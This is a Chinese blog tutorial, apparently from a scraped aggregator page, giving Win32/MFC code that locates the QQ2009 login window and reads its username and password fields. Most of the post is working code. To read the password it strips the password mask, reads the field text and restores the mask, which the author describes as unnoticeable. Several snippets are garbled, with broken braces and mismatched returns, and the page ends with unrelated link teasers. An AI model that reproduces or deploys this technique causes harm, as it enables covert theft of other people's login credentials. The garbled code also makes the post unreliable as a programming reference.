最近上網時看到有獲取qq號的方法,自己實現了下,沒能獲取qq密碼(聽說從qq2009後就很難獲取了),但能獲取一般應用程式的視窗資訊。下面給出實現的具體細節。
要使用到幾個api函式findwindow,findwindowex,windowfrompoint,sendmessage,getwindowrect等。
findwindow:用於獲取應用程式的視窗控制代碼
hwnd findwindow(
lpctstr lpclassname, // class name,視窗的類名稱
lpctstr lpwindowname // window name,視窗標題名稱
findwindowex:用於獲取應用程式中指定子視窗的控制代碼
hwnd findwindowex(
hwnd hwndparent, // handle to parent window,應用程式視窗控制代碼
hwnd hwndchildafter, // handle to child window,子視窗的控制代碼
lpctstr lpszclass, // class name,子視窗類
lpctstr lpszwindow // window name,子視窗標題
同樣通過spy++可以獲取子視窗的相關資訊,但視窗控制代碼是會變化的,子視窗的標題也不是都有,比如該子視窗是一編輯框。這樣,我們還可以通過點試探的方法找到想要的字視窗,比如我們要得到qq登入框中輸入的使用者名稱+密碼。可以先得到登入框、密碼框的螢幕座標位置,然後在其中取乙個點,利用windowfrompoint函式得到該點所在的視窗控制代碼,該控制代碼就是我們感興趣的視窗控制代碼。
得到了視窗控制代碼後,如何得到視窗的內容,或是對他做點什麼呢,呵呵,這裡,就要用到訊息傳送的知識了。
lresult sendmessage(
hwnd hwnd, // handle to destination window,接受訊息的視窗控制代碼
uint msg, // message,訊息型別
wparam wparam, // first message parameter,訊息包含的附加資訊
lparam lparam // second message parameter,訊息包含的附加資訊
下面貼上我的程式**:
void cgetwindowtextview::onusername()
// todo: add your command handler code here
m_qqhwnd=::findwindow(null,"qq2009 正式版 sp1");
if(m_qqhwnd)
//獲取視窗控制代碼
crect rect;
::getwindowrect(m_qqhwnd,rect);
cstring str;
str.format("qq登入框在螢幕的(%d,%d,%d,%d)位置/r/n寬:%d;高:%d",rect.left,rect.top,rect.right,rect.bottom,rect.width(),rect.height());
cpoint user_pt;
//將user_pt點定位到使用者名稱框內
user_pt.x=rect.left+100;
user_pt.y=rect.top+120;
//獲取使用者名稱框的控制代碼
m_huserwnd=::windowfrompoint(user_pt);
str="使用者名稱:";
char buf[10];
//獲取使用者名稱
::sendmessage(m_huserwnd,wm_gettext,(wparam)999,(lparam)buf);
str=str+buf+"/r/n";
::afxmessagebox(str);
// ::sendmessage(m_qqhwnd,wm_close,0,0);//傳送訊息,關閉qqhwnd視窗
else
messagebox("查詢視窗失敗!");
密碼獲取要複雜些,因為密碼框上都是***的東西,直接gettext是不行的,分析知道,我們在建立編輯框是複選「密碼」,顯示時輸入就是***了。這樣,我們可以先修改密碼框的樣式,將「密碼」複選去掉,再獲取框中的內容就可以了,當然,得到想要的密碼後,我們再將樣式改回來,就神不知鬼不覺啦!
void cgetwindowtextview::ongetpassword()
// todo: add your command handler code here
m_qqhwnd=::findwindow(null,"qq2009 正式版 sp1");
if(m_qqhwnd)
if(!m_qqhwnd)
return false;
crect rect;
::getwindowrect(m_qqhwnd,rect); m_pwdwnd=::findwindowex(m_qqhwnd,null,"edit",null);
cpoint pwd_pt;
//密碼框相對於登入框的位置可以試出來,取下面的點可以保證落在密碼框內
pwd_pt.x=rect.left+100;
pwd_pt.y=rect.top+150;
//m_pwdwnd=::windowfrompoint(pwd_pt);//或者通過點來得到
if(!m_pwdwnd)
messagebox("密碼框獲取失敗!");
return false;
str=」密碼:";
//得到視窗的樣式
long lstyle = ::getwindowlong(m_pwdwnd,gwl_style);
if(lstyle & es_password)
long passtochar = ::sendmessage(m_pwdwnd,em_getpasswordchar,0,0);
::postmessage(m_pwdwnd,em_setpasswordchar,0,0);
::sendmessage(m_pwdwnd,wm_gettext,50,(lparam)buf);
::postmessage(m_pwdwnd,em_setpasswordchar,passtochar,0);
str=str+buf+"/r/n";
::afxmessagebox(str);
// ::sendmessage(m_qqhwnd,wm_close,0,0);
else
messagebox("查詢視窗失敗!");
android獲取其他應用資訊
adb shell dumpsys activity activities 先啟動需要的查詢的apk,再敲入以上命令,在stack 1下查詢cmp 其後的內容為包名 mainactivity 注 dumpsys activity可以檢視系統的所有的活動,包括服務 廣播等,加上activities則只...
獲取其他程式的資訊 VC實現
介紹 最近正試著從其他程式的listview控制項中獲取資訊,因為需要傳遞乙個指標以便存放取得的字串,但windows使用的是虛擬記憶體,指標是不允許跨程序訪問的。windows是這樣通過虛擬記憶體來管理分配給所有應用程式的記憶體的 它讓程式認為自己擁有2gb的記憶體空間可用,它也通過保護來避免程式...
Android獲取其他應用包名
本節內容是如何獲取android系統中應用程式的資訊,主要包括packagename label icon 占用大小等。具體分為兩個 部 分,計畫如下 第一部分 獲取應用程式的packagename label icon等 第二部分 獲取應用程式的占用大小,包括 快取大小 cachsize 資料大小...